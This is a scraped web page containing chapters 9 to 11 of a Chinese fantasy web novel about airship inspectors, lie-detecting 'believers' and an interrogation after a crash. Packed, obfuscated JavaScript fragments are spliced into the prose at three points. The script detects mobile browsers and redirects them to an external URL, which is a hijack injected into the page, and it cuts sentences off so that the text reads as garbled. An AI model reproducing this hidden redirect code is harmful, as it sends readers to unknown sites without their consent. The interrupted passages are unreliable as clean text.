看到格林的脸色一下铁青,阿曼达终于满意地勾唇。 “第二,你凭什么说白狼号里都是我的人?飞艇驾驶员都经过了空军下辖的培训学校的考核,只不过被分配来了国民卫队,这是其一;” 她顿了顿,注意到国王的视线也投过来,心中闪过些许不安。 ——国王一向厌恶下属内讧。 不管怎么说,阿曼达还是决定说完。 “其二,驾驶员之一的克莉丝·莫纳,过去八年效命于皇家空军第一大队,退伍后又前往国民卫队服役,到现在还不满一年。 “她……是你的人吧!” “你不要血口喷人。”格林回斥,却被国王阻止。 国王抬了左手食指,敲击了两下桌面。 钝声似乎是从地面上发出来的,沉甸甸地压着心脏。 “审查官,按你说的做吧。先救护飞艇的幸存者,再去追究事件本身。” “是!” 看上去像是阿曼达在这场“争斗”中小胜一把,但她也并没有任何喜悦感。 被留下来单独谈话之后,她缓步走出金蔷薇宫,登上自己的车架。 “嘿,国王跟你单独说了什么?” 马车里坐着的陆军元帅辛迪笑眯眯地开口,一边抓着阿曼达的手,把她拽上车。 她力量很大,轻轻松松就把阿曼达拽了上去。 “国王警告我来着。” 阿曼达·德·波尔愁眉不展,“我必须在一个月之内查清真相,否则就得停职。” 她有些发愁,“但目前,我甚至不知道白狼号是什么情况。” 辛迪把平放在大腿上的军帽竖直插在缝隙中,又抓起阿曼达的手,安抚般地蹭了两下:“我相信你,一定能顺利完成的。” 她语气平静且冰凉,“再不济,陆军里有测谎师,可以借给你用。” 阿曼达笑了,“我发现,在你当妈之后,甚至变得温柔了。” “是呀,你要去看看你的侄子吗?”辛迪弯了弯眼睛,诚挚邀请道。 “也行,好久没见到姑姑了。” 马车调转方向。 隔着纱帘,阿曼达的目光完全没有聚焦,视线虚浮地望着窗外的教堂。 浅金色日光照射在教堂尖顶上,折射出夺目的七色光彩,映亮了她的深蓝色瞳孔。 “我还有一点纳闷。” “纳闷?”辛迪转过头,不解地看向她。 “今天凌晨三点,通信官找到我,跟我汇报了白狼号飞艇的情况。” 阿曼达口齿清晰地复盘今天的时间线,手指无意识地拨弄着脖子上的索尔沃神像。 “八点,国王早会,中间的时间他都在我家休息。” “……那么格林是怎么得到消息的?” 辛迪蹙眉,帮阿曼达补全了后面那句话。 他策反了通信官德莱安? 还是说,他的眼线已经插在国民卫队内部,像是根植在树干内、能腐蚀整棵大树的蛀虫? 阿曼达捏紧了手指。 她绝对!绝对不能让格林肆意妄为! “格林对军队的飞艇有百分之百的控制权,他或许从飞艇中继站那里得到信息了。” 提出这个猜想后,辛迪从口袋里掏出笔记本,粗糙地擦拭了笔尖渗出的油墨。 她写下了一行字: 【有人在偷听。】 阿曼达不等她写完,就按下她的手。 随即,她掏出腰间的精巧手/枪,立刻上了膛, 仅仅是瞥了一眼,辛迪就知道这是皇家武器所最新研制的武器,被阿曼达先拿去试用。 它只有一乍长,通身银白,比寻常的普通火枪体积缩小了一半,但性能却差异不大。 阿曼达感官延伸出马车,精准锁定了跟在身后的黑色马车。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203965|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这辆完全用机械马驱动的马车看似朴素寻常,但几乎静音的动力系统与马嘴里喷涌出的一串浓雾却昭示它的非凡。 这是谁的车? “右拐。”阿曼达吩咐道。 ——街道熙熙攘攘,她不可能在这种地方开/枪。 马车一个急转,拐进窄巷。 车厢与墙壁□□撞,刮出几道划痕。 阿曼达迅速跳下马车,右脚蹬上鹅卵石铺就的墙壁,用力弹跳上车顶,又被作用力反弹而上,顺手扣住屋檐。 当她整个人挂在空中时,辛迪已然跳上房顶,把她拽了上去。 “谢谢……”阿曼达气喘吁吁。 不像辛迪·伊迪丝的军旅出身,阿曼达只接受过短期的体能训练,身体素质略有逊色。 即便身体极度劳累,阿曼达也不敢休息,立刻翻身坐起来。 辛迪看着她:“你打算怎么做?” “干掉那匹机械马,给他们点教训。”阿曼达说着,持枪瞄准紧随其后的马车。 银色子弹从滚烫的枪管中发射出去,而后狠狠砸进机械马嘴里! “撤!”阿曼达并不恋战,在地面上翻滚一下,从二层小楼另一侧滑下来,径直跳进等候许久的马车里。 而辛迪,则抽空回头看了一眼。 金属碰撞的声响,伴随火药爆炸声迅猛而来。 马车的机械动力系统瞬间崩溃,车架几乎散架,歪歪斜斜地靠在墙壁上。 缝隙之中,辛迪看见一个身穿黑色长风衣、头戴礼帽的人影。 他的手里,握着一根胡桃木色的手杖,纯金握柄处镶嵌一颗巨大的蓝宝石。 辛迪瞳孔一颤。 这副打扮…… 是信徒! 她不敢过多停留,跌跌撞撞地滚下屋顶。 下一秒,蓝宝石手杖散发出的极寒水雾就降临到她躲藏的位置,直接将一只路过的飞鸟冻住! 而后,它“嘭”一下炸成血红色的冰渣! 辛迪后背满是冷汗,催促车夫立刻启动车辆。 “……是‘神学院’的信徒!”辛迪颤巍巍地开口,根本没意识到自己的声线正在微微发抖。 “神学院?” 阿曼达惊诧不已。 这是半官方的信徒组织,碎金城内九成以上的信徒都属于这个组织;辨识他们也很容易,通常他们自认为“文明人”,因此偏爱风衣与各式各样的礼帽,并且随身携带手杖。 “神学院为什么要跟踪我们?” 阿曼达忍不住问,却无人回答。 “那是个七级信徒,阿曼达,那个攻击我的人。” 辛迪揉了揉额头,又重新梳理了一下因剧烈跑动而松散的头发。 “我曾经见过类似的‘雪人’信徒,是存在树的分支。” “如果康纳利还在,他或许会知道我们见到的是谁。”阿曼达苦笑,“可惜他死在了西格林郡。” 连带着无数有关信徒的秘密,都深埋在他肚子里。 狂风灌进车窗的缝隙中,阿曼达探头望天,发现乌云不知不觉封闭了整座城市。 在云层中央,国民卫队的高塔笔直矗立着。 像是一柄出鞘的尖刀,狠狠刺向无穷无尽的未知地。 “要下雨了。”她说。 9. 最后一夜 林恩是被雨声吵醒的。 窗户被打得几乎碎裂,雨水已顺着窗缝渗透进来,打湿了半截窗帘。 林恩的手攥在湿漉漉的窗帘上,陈旧黏腻的触感让她瞬间皱起眉。 ——果然不该对廉价的小旅馆有太多期待! 天色半明半暗,微弱的阳光也被乌云遮了彻底。 林恩点亮房间的瓦斯灯,便听见乌黑的灯丝发出微弱的“嗡嗡”声,仿佛下一秒就要炸裂。 灯光顺势照亮了小座钟。 指针交错着投下光影。 现在5:40。 饥饿的林恩决定先吃晚饭。 她喝了几口房间里提供的茶水,只觉得自己舌根微微有些泛苦,眼睛忍不住看向这只洁白的瓷杯: 杯内壁黢黑,满是陈年茶垢。 “……” 林恩苦涩地把茶杯丢在一边,直接推门而出。 走廊暗得不可思议。 深红色的花纹地毯上,有一圈一圈的咖啡色水渍。 林恩踩在水渍里,像是踩在湿透的海绵上,挤压出浑浊的脏水。 她皱了皱眉。 直到走下二楼,来到餐厅,林恩才意识到现在压根儿不是自己以为的“傍晚”,而是第二天的清晨。 她足足睡了十四个小时。 林恩挠了挠头:以往她从不会睡这么长的觉,大概是身体被折磨惨了。 “早上好,想吃什么?” 白白胖胖的厨师停下擦拭桌子的工作,笑眯眯地问道。 林恩想吃牛排,想吃热乎乎的玉米浓汤。 但考虑到紫罗兰旅馆的卫生状况,她不得不咽下自己的食欲,勉强说道: “面包和黄油就行。” 厨师点头答应下来,又问:“需要鸡蛋吗?” “煮鸡蛋吧。” 回答完毕,林恩四处张望了一下,“前台不在?” “嗯,她是我的妻子,还在房间休息。”厨师笑着说,“最近客人并不多,所以没必要起那么早啦。” 他把洗得硬邦邦的茶巾叠好,放置在桌面上,又好奇道: “您有什么事情吗?” “没什么,房间的灯快坏了。”林恩说,“有空修一下吧。” “好嘞。” 厨师满口答应,又从厨房端出面包,放在林恩面前,拙劣地解释道: “我们这家店开了有年头了。” 林恩佯装惊讶。 但实际上她看得出来,这家旅店从装修到陈设,没有一个是新的,也没有一样是时兴的。 “在血色九月之前,龙骸郡还是有很多淘金者的。”厨师说,“当时的巨龙镇可比现在热闹多了。也就是在那时,我搬来了镇上,又开了这家紫罗兰旅馆。” 他上下打量着林恩,随后自嘲地摇摇头。 “那个时候,你大概还没出生呢。” 林恩轻笑一下,应和般地点了点头。 但她却对厨师口中的名词格外在意。 血色九月? 就连偏远小镇的一位受教育水平不高的厨师都有所耳闻,甚至在二十多年之后还时常提及,林恩只能推测出这是一场相当严重的流血事件。 或许…与新阿尔卡迪亚相关。 说起来,林恩一直对这个“新”字耿耿于怀。 “新”对应“旧”,倘若这片大陆不是新发现的,那么对应的“旧王国”又是什么? 朝代的改名换姓? 或许,血色九月也和国王更迭相关。 林恩不再继续深想。 只要回了碎金城、翻阅一下历史书,一切都迎刃而解了。 她没有必要在这里浪费时间。 林恩低头啃着面包,不知不觉天也亮了。 门外忽然传来一阵脚步,随后,湿漉漉的脚印跨过大门,径直来到林恩面前。 艾迪浑身湿透,头发完全耷拉在脑袋上,落汤鸡般地抖了抖身上的雨水。 “你醒了?”他黑漆漆的眸子看向林恩。 “醒了。”林恩皱了皱眉,望着行迹诡异的艾迪,“大早上的,你去哪里了?” 艾迪的借口早就编好。 “去护卫队找治安官,想尽早联系碎金城。”他说,“可惜不在。” 他的语气别说遗憾了,什么情绪都没有。 他在撒谎。 林恩下意识蹦出这个念头,甚至不清楚这个结论是怎么出现的。 明明“谎言识别”是治安官伍德的技能。 迎上林恩的怀疑视线,艾迪掀了掀眼皮,似乎完全不在乎她的想法。 他脸色苍白,眼下乌青,没精打采的目光在面色红润的林恩身上晃了一圈,又不动声色地在她左手处停留了一秒,随后点头示意: “我回去换身衣服。” “哦。” 林恩对他兴趣不大。 她打着呵欠,翻阅门口刚送来的《田园报》解闷,一边喝着香醇的咖啡提神。 报纸上清一色本地新闻,没什么特别的。 林恩从头翻到尾,又把中缝的谜语猜了个遍,这才心满意足地放下胳膊。 被报纸阻隔的视线重新恢复,林恩被换好衣服的且默不作声的艾迪吓了一跳。 “……一点动静也没有。”她嘟囔着,把报纸叠好放在一边,“你看上去状态一般啊,没休息好?” 艾迪揉了揉太阳穴,“白天睡多了,晚上睡不着。” 说罢,他咬了一大口烟熏鸡肉三明治,包在嘴里慢慢咀嚼。 “一会儿睡一觉。” 林恩的话没说完,注意力就被一列治安员小队分走: 他们清一色沙黄色制服,胸口的四瓣玫瑰刺绣倒是与西格林郡治安官的类似。 治安官伍德在队伍最后,慢悠悠地走了进来。 他衣襟上,是高雅的五瓣玫瑰。 目光落在林恩身上,伍德却像是未曾与她谋面过,与身旁的男人汇报道: “奇里奥治安官,这就是白狼号的驾驶员与国民卫队审查官。” 说罢,伍德又向两人解释,“这是我们龙骸郡的治安官。” 很显然,他态度都很尊敬,毕竟两拨人都不能得罪。 龙骸郡的治安官? “审查官,我刚刚得到消息,需要把你们送回碎金城。”奇里奥治安官很是客气,“这是国民卫队送来的信,你们可以过目。” 他从怀里掏出一份纸卷。 这属于某只机械信鸽,是国民卫队的资产。 林恩接过手,目光在字条末尾的“波尔”上停留了片刻。 波尔—— 这大概就是康纳利日记本里描述的“高大威严的新任首席审查官”了。 “我们什么时候出发?” 这次是艾迪问的。 “尽快。”奇里奥治安官看向艾迪,又对林恩说道: “龙骸郡有一艘飞艇,但很抱歉,我们这里没有合适的飞艇驾驶员。或许,还得您多费心了。” 林恩“嗯”了一声,面孔透着属于康纳利审查官的威严:“我会吩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203966|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咐下去的,不用担心。” 她语气微顿,“有关于白狼号的消息吗?” “是的,我正要跟您说这件事。” 奇里奥治安官取出另一份被封在牛皮纸袋里的文件,“隶属于国民卫队的白狼号飞艇在特拉尔湖成功迫降,除审查官与驾驶员之外的全部机组成员均获救。” 他念着,又把剩下几页文件递交给林恩。 【在迫降过程中,白狼号的休息舱与储备舱均已脱离主体。】 这一行字被加粗打印出来。 林恩面色一沉。 康纳利的日记本……还在休息舱里! 连带着他用神谕文书写的神秘文字,也一同葬身于湖底了。 该死的。 她勉强露出欣喜,朝奇里奥治安官点头示意,“白狼号能幸存……这实在是太好了。” 说着,林恩回头看向艾迪。 那个总是笑意盈盈的、甚至敬业到有些令人厌恶的男人,此刻竟然一言不发地站着,面无表情。 直到感受到林恩的视线,艾迪才抬起头。 “是的,感谢神的指引。” 他勾了勾唇,慢吞吞地说。 == 龙骸郡的飞艇很旧,服役时间目测已超过20年,空间也相当狭小。 它甚至没有名字,只用“943号”来指代。 林恩登上飞艇,坐在驾驶舱里,身边站着奇里奥治安官及他的手下托比。 作为龙骸郡的负责人,他们被要求一同前往碎金城,在首席审查官面前描述情况。 “来,审查官,这是我们龙骸郡有名的焦茶。”托比笑嘻嘻地端过来热茶,又询问道: “你这么年轻就能担任审查官,很难不容易吧?” “……还好。” 林恩讪笑两声,拿起茶杯喝了一口。 尝不出什么茶叶味,只觉得有一股馥郁的香气从胸膛里蔓延上去。 “所以,你是怎么进国民卫队的?”托比大咧咧地问道。 奇里奥神色晦暗不明地侧头看了眼两人。 林恩捏了捏口袋里的字条——这还是临行前伍德审查官塞进她手里的。她只想着抽空看一眼,因此没空和托比闲谈。 “难不成,你想跳槽?” 林恩满脸笑意地问。 “……” 托比立刻望向自己的领导,察觉到他面色不豫,便知道自己说错了话。 他这才后知后觉地辩解:“当然不是,我只是好奇。” “开玩笑的。”林恩眨了眨眼,笑意不及眼底。 目睹托比的慌乱后,她才缓缓起身,对奇里奥治安官点头:“洗手间在哪里?” “往这里走。”奇里奥治安官抿唇,礼貌地点点头。 沿着过道走到底,就是“943号”的洗手间。 尽管臭烘烘的,林恩还是走了进去,反手锁好门,才从口袋里取出汗涔涔的纸条。 她紧张的汗水已经彻底打湿。 伍德的字很潦草;显然,他是在极其慌乱的时刻写下这些文字的。 【林恩,没有能力自保,就不要暴露自己的信徒身份。 不要信任国民卫队的任何人。 万事小心!】 林恩只觉得自己的心情就像是海上的帆船,总是浮浮沉沉。 她完全没做好随时冒着生命危险的心理准备—— 而久违的回家的欲望,也终于在这一刻迸发。 信徒的“异能”,可以帮助她回到原来的世界吗? 10. 审讯 “审查官,碎金城就在我们脚下了。” 艾迪的嗓音终于唤醒了昏昏沉沉的林恩。 她迷迷糊糊睁开眼,往舷窗外望去,中继塔的淡绿色灯光正在晨光中闪烁,递给943号“通行”的指令。 “我们直接返回国民卫队。” 艾迪的声音通过外置传声装置发送出去,而后,他微微拨动方向轮,调整飞行轨道。 国民卫队的尖塔,像是矗立在大地上的宏大方尖碑,给他们遥遥指引方向。 “总算是要到了,累惨我了!”托比跳了起来,活动活动僵硬的躯体,一边趴在舷窗上往外看。 目光所及,是清晨忙碌的空域。 “不愧是碎金城!好多飞艇啊!” 托比赞美道,“这还是我第一次来王都呢!” 托他的福,林恩也从一来一回的问答中大致了解了碎金城的城市布局: 整个城市被“松果河”一分为二,国王的寝宫“金蔷薇宫”就沿河北岸而建,是一座恢弘且精美的宫殿。 而大多数平民,则集中居住在东区与松果河南岸,那里有码头、铁路,以及数不清的工厂。 “布德林车站!”托比大声叫唤道。 这也是他唯一能从空中辨识出来的建筑。 这座位于东区与主城区交界处的蒸汽车站,总共有八条铁轨并行,远看像是爬虫们歪歪扭扭的粘液痕迹。 但这也是碎金城的交通枢纽,可以说绝大多数平民来往碎金城,都得通过布德林车站。 “我们到时候也在这里乘火车回去吧!”托比眼睛亮晶晶地看向奇里奥治安官。 “白痴,我们要把飞艇带回去。”奇里奥治安官用冷茶漱了漱口,一边分心斥责他。 林恩忍俊不禁。 “各位坐好,我们准备降落了。”艾迪咳了咳,扭头朝喧闹的几人说道,视线又挪向林恩: “审查官,我们准备降落。” 林恩颔首,目光随之落在精密的操作台上。 飞艇驾驶…… 真是一门好技能。 == 审查官马特站在航空港出口。 他笔挺的制服上,佩戴着一枚崭新的徽章——自从得到这枚英雄勋章,马特就和它形影不离了。 他非得要所有人看到他的丰功伟绩。 说实话,马特其实对林恩没什么印象。 他甚至不了解康纳利审查官,更别提康纳利手底下的小兵了。 不过,既然首席愿意把迎接幸存者的任务留给他,马特自然感到荣耀。 面对一行几人,他挺了挺干瘪的胸膛,“欢迎回家,林恩。” ……他是谁? 林恩迅速观察着来人。 大概上点年纪了,头发依稀出现点灰白,正在拿那双倨傲的眼睛扫视,那副自命不凡又唯唯诺诺的姿态绝不会出现在上位者身上。 大概率是某个审查官。 林恩推测着,又带上点笑意,“感谢您,审查官。” “马特。”他自然而然地接过剩下半句话,又拨弄了一下左胸别着的勋章。 “我和康纳利审查官交往并不密切,你可能对我不太熟悉。” “抱歉。”林恩垂着头,做出自责的模样。 “我们都听说康纳利审查官离世的消息,很遗憾。”他装腔作势地感慨道,仰头看了看被工厂污染的、灰蒙蒙的天。 怀念到此为止,审查官马特的黑色亮面皮靴继续“啪嗒啪嗒”踩在石砖上,沿着连廊走回办公区。 “首席审查官有事情要询问你,我现在要把你带去她的办公室。” 马特回头说道。 林恩的不安再一次激烈震荡。 这么快…… 她还没有做好准备! 如果他们使用“谎言鉴别”,甚至是“记忆搜寻”,她该怎么办? “我……” 马特审查官停下脚步,疑惑地看向她,随后恍然大悟地“啊”了一声: “你是担心与首席审查官的会面吧?”他笑了,“别太担心,首席只不过想了解了解情况。” == 首席审查官的办公室位于尖塔二层。 顺着螺旋台阶逐级而上,林恩心脏跳动得厉害,几乎要把她腹腔的全部内脏都震动出来。 她回头看了眼走廊尽头的金属大门,又跟随马特审查官进入一间狭窄的办公室。 “你在这里等候片刻。” 马特把打字机搬到办公桌上,随后侧头看了看墙壁。 林恩也跟着偏头。 墙壁上,挂着一幅巨大到有些碍眼的山峦油画,笔触粗糙、构图混乱。 这幅画…太奇怪了。 ——像是为了遮盖什么。 很快,林恩等来了首席审查官阿曼达·德·波尔。 她比想象中精瘦一些,身量极高,审查官的白色制服在她身上便如雪山般巍峨。 阿曼达坐定,手指在帽檐的金线边缘左右划动了一下,扶正了暗红色的制服帽。 她清了清嗓子,琥珀蓝的眼珠紧盯着对面:“审查官林恩。” “是。” “请详细描述一下你们在白狼号的经历。” 阿曼达说罢,身体后仰,以一种轻松的姿态靠在椅背上,眼睛微阂,露出一股漫不经心的样子。 但林恩敏锐地察觉到,她的视线短暂地瞥向一旁的油画。 隔壁有人? 她的冷汗先一步冒出来,随后,声音才出现在屋子里。 “……我们遭遇了空匪的袭击……” 林恩言简意赅地总结道。 阿曼达的笔尖在纸张上敲击了几下,又问道: “那么,你和驾驶员为什么要离开白狼号?” 停顿的工夫,打字机的敲击音像是机械心脏的不规则跳动,伴随而来的束缚感让林恩有些喘不过气。 她深呼吸一下,“为了夺取空匪飞艇的动力核,修补白狼号。” “但你们失败了。” 阿曼达似笑非笑。 林恩点头,“我一登上空匪飞艇就开始呕吐,而驾驶员艾迪……” 她犹豫了一下,瞳孔左右摇摆,又最终下定决心。 “他昏迷了一段时间。” “昏迷?” 阿曼达眯起眼,重复了一遍林恩的回答,随后重新将胳膊撑在办公桌上。 “怎么昏迷的?” 那张颇具威慑力的面孔离近,林恩瞬间就感受到一股浓重的肃杀感。 …绝不能撒谎! “我没有问过驾驶员艾迪。”林恩摇头,“因为没过多久,空匪飞艇的动力舱就失效了,它正在迅猛坠落。” 说罢,她掀起眼皮,看了一眼首席审查官。 “继续。”阿曼达说。 “我意识到不对劲,直接把艾迪扇醒,又跟他一起逃离到出口。” ——细节,补充细节让阿曼达更信任自己。 “离开后不到一分钟,飞艇就爆炸了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203967|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 记录员的打字声暂停了几秒,随后缓缓继续。 阿曼达问:“你有试图重新回到白狼号吗?” 林恩回忆了一下,那夜她仰头看了眼天空,却没找到白狼号的行迹,于是果断地点点头。 “是的,但是失败了。” “好了,你先回去休息吧。” 阿曼达站起身,果断地终止了“审问”,又把手搭在林恩肩膀上。 “复工的时间会另行通知。在此之前,审查部会随时找你询问情况。” == 阿曼达推门而出。 木门在她身后落锁,发出“咔哒”的清脆响声。 随后,一扇门悄无声息地打开,身穿深绿色军装的男人手持胡桃木手杖,不徐不疾地跟在阿曼达身后。 手杖在大理石地面上发出闷钝的敲击声,楼板的轻微震动终于传送到阿曼达脚下。 她的步伐没有迟疑。 阿曼达的左手扶上办公室铁门的一瞬间,另一只手接替了她的动作。 是一双带着黑色丝绒手套的手,走线细密,束口用祖母绿丝线绣出一串花体英文。 莱亚。 “让我来吧。” 来人朝阿曼达浅笑,绿色玻璃珠般的瞳孔里闪烁着不属于军人的轻浮。 他是辛迪派来的信徒,拥有“谎言鉴别”能力的莱亚·古德温。 阿曼达盯着他的背影,合理怀疑他的中校军衔只不过是依靠了他的异能与这张漂亮的皮囊。 毕竟这瘦削的身材看上去毫无战斗力。 “请坐下吧,古德温中校。” 阿曼达的念头一闪而过,一边示意女官给他们准备茶水。 “今天实在是麻烦您过来了。” “伊迪丝元帅的任务,我当然要一丝不苟地完成。”莱亚睁大那双碧绿的眼睛,清澈的真挚倾泻而出,“刚刚我已经仔细观察过您与审查官——” 他低头,迅速瞥了一眼笔记本,又继续刚刚的汇报。 “审查官林恩的审讯。” “审讯这个词太严重了,中校。” 阿曼达哈哈大笑,一边从女官手里接过热红茶,亲自给莱亚倒上一杯。 红褐色的茶汤在精美的花色瓷杯中摇晃,倒映出莱亚的笑意。 “我的错。” 他干脆地承认道,“在军队习惯使用审讯这个词了。” 举起茶杯喝了一口后,莱亚一边往杯中倒入冷牛奶,一边继续说道: “审查官林恩并没有撒谎,她陈述的全部都是真话。” 他又夹起一小块方糖, “不过,飞艇驾驶员那边似乎有撒谎哦。” 银质糖夹松开,白色糖块瞬间坠入杯底。 阿曼达的心沉了沉,“艾迪在撒谎?” 她伸手取出文件,打算对比艾迪与林恩说辞的异同。 “不,不是那个男驾驶员。” 莱亚的手迅速翻动几页,目光终于锁定了名字。 “克莉丝,克莉丝有撒谎。” 克莉丝? 阿曼达一愣,语气急促,“她是我们的功臣,有什么好撒谎的呢?” 莱亚勾唇笑了笑,将瓷杯中的奶茶一饮而尽,随后站起身。 “首席审查官,好人也会撒谎。” 他的嗓音像是甜奶茶一般黏腻,“我的任务是识别是否撒谎,至于判断他们是不是好人,这就是审查官您的事情了。” 他抬了抬军帽,如来时一般轰隆隆地推门出去了。 11. 桔梗街(一) “审查官林恩,你可以回家了。”记录员整理好手头的文件,对林恩说道。 “嗯,好。” 林恩揉了揉太阳穴,跟在她身后慢吞吞地走出会议室。 虽说可以回家,但林恩根本不知道“家”在哪里。 偏偏这个问题,绝对不能询问任何人。 她必须自己找到办法。 “对了,我想去办公室跟他们打声招呼。”林恩“咔哒”一声关上门,“我那一层今天有人在吗?” 记录员迟疑了一下,并没有对林恩的话起疑心,反而认真思考起来。 “今天我没有上四楼……要不您自己去看一下呢?” 她指了指手中的文件,“我还得跟审查官汇报。” “好,你忙。” 套话结束,林恩冲她笑了一下,脚步已然踏上了台阶。 ——或许办公室里藏着她的基本信息。 她快步爬上四楼。 不得不说,审查官林恩的身体素质极佳,以如此速度冲上楼,竟然完全不会心动过速或气喘吁吁。 林恩一边胡思乱想,迎面便撞上一个粗壮的灰发男人。 他显然认识林恩,甚至热情地招了招手。 洗得泛白的黑色制服、一双软底皮鞋、打理粗糙的衬衣。 来人并不是审查官,倒像是……保安? 林恩一边推测,一边朝他笑了笑。 “刚好想问你呢。” 她抢先一步开口,占据话题主导权。 门房格雷先生站定,鹰嘴豆形的眼睛眨巴两下,等待林恩开口。 “我的行李全部丢失了,也包括办公室的钥匙。”林恩迅速想到了借口,“我应该去哪里补一枚呢?” 她想了想,又添了一句。 “又或者,你可以先帮我开门,让我拿点东西吗?” “哦,这当然!” 格雷先生茂密的灰胡须裂开个口子,蹦出这句话后,就立刻掏出一大盘钥匙,驾轻就熟地往前走。 “我听说康纳利审查官与查理审查官的事情了,你肯定很难过吧。”一边走,他一边说道, “毕竟你们关系这么好。” “我甚至无法相信他们已经离开了。” 林恩撒了个谎,又礼貌地对格雷先生道谢,走进办公室内。 果然,如她所料,出差之前锁门是一件很常见的行为。 格雷先生没有起疑心。 这是他们三人的办公室,林恩的办公桌位于角落,狭窄却整洁。 她桌面上只放置了一本工作日志,其余的东西全都整理在抽屉里。 没费什么力气,林恩就在一沓信件中找到了家庭住址: 洋湾区桔梗街593号。 门外忽然传来脚步声。 本以为是去而复返的门房,却没想到来人相当眼生。 林恩扫了一眼,心安理得地开口,“你是?” ——原因无他,来人穿着的是墨绿色的军装,胸口别着王室勋章。 他不是审查官,大概率是军人。 “不认识我吗?” 他笑了笑,侧身倚在门框上,含笑看着林恩。 林恩敛住笑意。 糟了。 真遇到旧熟人了。 她眨了眨眼,目光终于锁定在来人手中的胡桃木手杖上。 康纳利也有一根类似的。 ——难道她是通过康纳利和他认识的? 林恩怀疑地抬起眼,目光和他的绿眸碰撞,最终锁定到他眼底的戏谑。 “开个玩笑。” 他终于正经起来,朝林恩伸出手,“我叫莱亚·古德温,陆军中校。” == 格雷先生的出现打破了僵局。 他把一枚崭新的钥匙放在林恩手里,又疑惑地看了几眼莱亚。 “林恩审查官,这么快就有工作了啊?” “没有,说几句话而已。” 林恩抿唇笑了,又低头翻找抽屉,终于在角落找出一盒塞得沉甸甸的硬币盒。 等格雷先生离开,莱亚漫不经心地走近: “你就不好奇我为什么会来国民卫队吗?” “来审讯我的。” “说审讯可就太过了,林恩审查官。”莱亚单手抱胸,另一只手摩挲着嘴唇,似是在思考什么。 “我是来帮忙鉴别谎言的。” 谎言鉴别? 就像伍德治安官一样? 林恩终于停下收拾的动作,更起了疑心: “这话……你为什么要跟我说?” “因为你撒谎了,而我没有举报你。”莱亚摇晃了一下手杖,嘴角用力地勾起来,“啊呀,你竟然一点不感谢我呢。” “我可没撒谎。” 林恩嗤笑一声,一边皱眉看着他坐在康纳利审查官的椅子上。 “但你也没说实话呀,我亲爱的审查官。”莱亚拨弄了一下康纳利桌上的女神塑像,随后托腮看着林恩,试图听她辩解。 他经验丰富,听得出来林恩的“供词”里藏着多少心眼。 她没有撒谎,她在尽力规避谎言。 “那你举报我吧。” 林恩面无表情地盯着他,直到看见莱亚“噗嗤”一下笑了,才缓缓收回视线。 “真是不懂感恩的家伙。” 莱亚不安分地站起身,踱步到门口,脚尖微微抬起,勾住门框。 “我要问你一个问题,你回答了,我就帮你隐瞒下去。” 他一个用力,房门随即“嘭”一声关上。 而后,鬼魅一般的嗓音响起: “审查官林恩,你是信徒吧?” == 林恩快步走出国民卫队,递给车夫一枚金塔拉,又报上了家庭住址。 莱亚·古德温紧随其后,挤进出租马车里。 片刻之前的谎言带着苦荞般的气味,仍旧弥漫在他的鼻腔之内。 -“既然你有了猜测,何必多问我呢?” -“我只是想确认一下。” -“我不是信徒——你确认出来了吗,古德温中校?” 莱亚深呼吸一口,又缓缓将浊气吐出来。 “……果然。” 他摘了手套,浅粉色的指甲在胡桃木手杖上敲击着,随后又看向林恩。 她正在低头看手中的文件。 “你可以看看窗外的风景,少把注意力放在我身上。”林恩捕捉到了莱亚的视线,不咸不淡地说道。 莱亚不满,“这是有求于人的态度吗?” 话虽如此,他还是老老实实地瞥开眼。 “真搞不懂,康纳利审查官怎么什么都不跟你说。” 想到这里,莱亚倒吸一口气,“你该不会瞒着他……?” 林恩顺势回答:“嗯,康纳利审查官并不知道我是信徒。” 他已经死了,的确不会知道死后的事情。 “难怪了。不过康纳利这个人,瞒着也正常。” 莱亚揪着手套的五只手指,打出几个死结,“唧唧歪歪的老头子,一边抱怨一边变成6级信徒,真是的。” 他自嘲地笑了一声,眼中不免露出几分遗憾,“他怎么就死掉了呢。”

